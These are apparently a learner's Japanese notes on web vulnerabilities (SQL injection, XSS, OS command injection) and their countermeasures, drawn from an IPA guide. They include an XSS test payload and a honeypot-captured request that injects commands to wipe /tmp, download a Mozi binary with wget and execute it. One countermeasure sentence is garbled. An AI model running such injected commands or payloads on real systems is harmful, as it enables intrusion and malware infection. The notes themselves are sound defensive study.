概要
「安全なウェブサイトの作り方」をよみ、Webアプリの脆弱性について調べたことをまとめました。
SQLインジェクション
概要
ウェブアプリケーションの多くはデータベースと連携しており、ユーザの入力情報からSQL文作成します。
SQL文の組み立てに問題がある場合、SQLインジェクションの攻撃を受ける可能性があります。
SQLインジェクションには、本来非公開であるデータベースの内容を表示させる以外に、SQLサーバにあるコマンドを使ったものがあります。
- convertやcast等で型変換のエラーを意図的に発生させ、そのエラーの内容からデータベースを攻撃するための情報を得る(エラー)
- waitfor delayにより、一定時間実行を停止する命令を複数回繰り返して積み上げる(スタック)
対策
SQLインジェクションの対策としては、SQL文の組み立てをあらかじめ定義しておくプリペアードクエリの実装が挙げられます。
また、プレースホルダでデータの型を定めておくことで意図的なおきます。
クロスサイトスクリプティング(XSS)
概要
ウェブアプリケーションの中には、ユーザの入力やHTTPヘッダの情報を元にして出力するものがあります。
ウェブページへの出力処理に問題があり、入力に悪意のあるスクリプト等を埋め込まれてしまい、それをそのまま出力させる攻撃がクロスサイトスクリプティングです。
クロスサイトスクリプティングには3つの種類があります。
反射型XSS(Reflected XSS)
ユーザからのリクエストに含まれるスクリプトをそのままレスポンスとして出力してしまうタイプのXSSです。
HTTPリクエストペイロードに攻撃のためのJavaScriptが含まれているもの等が挙げられます。
格納型XSS(Stored XSS)
リクエストに含まれる悪意のあるスクリプトを、ウェブアプリケーション内部で保存し、ユーザの閲覧時に保存されたスクリプトが出力される攻撃です。
掲示板やSNSのプロフィール等に攻撃のスクリプトが含まれるケースがあります。
DOM Based XSS
ウェブページに含まれる正規のスクリプトにより、動的にウェブページを操作した結果、意図しないスクリプトをウェブページに出力してしまうタイプのXSSです。
DOM XSSは、動的ページの生成の際に、ユーザの入力がJavaScriptコードを含むHTMLとして組み立てられて攻撃が行われるものです。
例えば、Webページで"hensuu"に入力を入れる個所がある場合に、以下のような入力がある場合、Webページの生成においてJavascriptを含んだタグとして生成されます。
入力値
"%3cimg%20src%3Da%20error%3dalert(1)%3e"
URLデコード後
<img src=a error=alert(1)>
反射型XSSではHTTPリクエストにそのままJavaScriptのコードが書かれ、それがそのまま出力されますが、DOM型XSSでは上記のように、HTMLの生成時にJavaScriptコードが読み込まれるといった違いがあります。
参考:DOMとは
DOMとはDOM(Document Object Model)は、HTMLドキュメントやXMLドキュメントをアプリケーションから操作するためのAPIである。W3Cが標準化2しており、様々なプログラミング言語やライブラリがDOMをサポートしている。
対策
基本的な対策としては、JavaScriptのコードを実行させないために、ユーザの入力に含まれる「<」や「>」といった文字をサニタイズすることが挙げられます。
https://www.ipa.go.jp/files/000024726.pdf
なお、SQLインジェクションやXSSは検知数も多いようです。
https://www.lac.co.jp/lacwatch/pdf/20200406_jsoc_vol26.pdf
コマンドインジェクション
概要
ウェブアプリケーションによっては、悪意のあるHTTPのリクエストを受信する事で、ウェブサーバのOSコマンドを不正に実行されてしまう脆弱性が含まれるものがあります。
悪意のあるHTTPリクエストの例
- GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://管理画面のURL/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/tsetting.htm=1
(以前に構築したハニーポットに届いたリクエスト) - リクエストのペイロード部分に$(実行したいコマンド)といったような形式でコマンドの実行を試みるもの
対策
根本的な対策としてはシェルを起動できる言語機能の利用を避けることが挙げられます。
また、上記対策が取れない場合は、特にユーザからの入力があるような画面においては攻撃に悪用される文字(「|」、「<」、「>」等)を無害化する事が挙げられます。